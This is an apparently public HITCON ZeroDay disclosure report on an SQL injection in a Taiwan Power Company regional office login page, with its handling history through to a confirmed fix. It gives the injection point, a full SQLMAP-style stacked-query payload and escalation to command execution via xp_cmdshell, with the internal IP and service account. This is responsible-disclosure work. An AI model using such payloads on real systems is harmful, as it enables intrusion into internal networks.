Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00109
- Vendor: 台灣電力公司
- Title: [Bounty] 台南區營運處 SQL Injection to RCE
- Introduction: SQL Injection
處理狀態
目前狀態
公開
Last Update : 2022/04/01
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2022/02/20 13:29:00 : 新提交 (由 MksYi 更新此狀態)
- 2022/02/20 13:39:38 : 新提交 (由 MksYi 更新此狀態)
- 2022/02/20 16:06:23 : 新提交 (由 MksYi 更新此狀態)
- 2022/02/20 16:39:00 : 新提交 (由 MksYi 更新此狀態)
- 2022/02/20 16:49:19 : 新提交 (由 MksYi 更新此狀態)
- 2022/02/21 16:56:32 : 新提交 (由 MksYi 更新此狀態)
- 2022/02/22 19:16:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/24 11:04:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/24 11:04:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/02/24 11:04:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/28 09:11:33 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/03/28 15:01:10 : 確認已修補 (由 MksYi 更新此狀態)
- 2022/04/01 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00109
- 通報者:MksYi (MksYi)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://d108ap1.taipower.com.tw/pg/
敘述
SQL Injection
驗證弱點
訪問台南區營運處的登入頁面「https://d108ap1.taipower.com.tw/pg/ 」,該處的帳號(txtUserID)為 SQL Injection 注入點。
可使用 SQLMAP 進行列舉
Parameter: #1* ((custom) POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: __VIEWSTATE=2XmJzX0arRxJM0H6rrApAEvxx3ROvPN2f7LUqGjSzXD4rMBl/H7oeyn766lX1YCZGE5BeZcfbEMboF1nwD14w+8p1uuybbyzYZMZgUdcK4wz8c7WPG1AZ6OS7yacNuid6qkPPLWm+EwouJ91gK5AGKay2K3RlDpBNutaUSnAqphlE62AV8c0aeHCgk3OnRPVaaC6DA==&__VIEWSTATEGENERATOR=8918C7E9&__EVENTVALIDATION=9YDD2BgIighOZSrJN4nB0xFx0rYZwJD6Buc/v+LyZnfJ3ajZoCsnpVq589P+rrGbOWEJps0TEKve787zVQI+1fesd3bhyOU7mpcrov0q/iEn/03IeKAMKwZkL7xaxhvL/pG+DeSGpXFa/gNSt/SglRKmWfY=&txtUserID=admin';WAITFOR DELAY '0:0:5'--&txtUserPWD=&loginbtn=%E7%99%BB%E5%85%A5
嘗試擴大危害
使用 xp_cmdshell 可執行系統指令。
ipconfig:
內網IP: 10.60.21.36
whoami:
nt service\mssqlserver
- 該站點可作為內網橫向攻擊的進入點。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。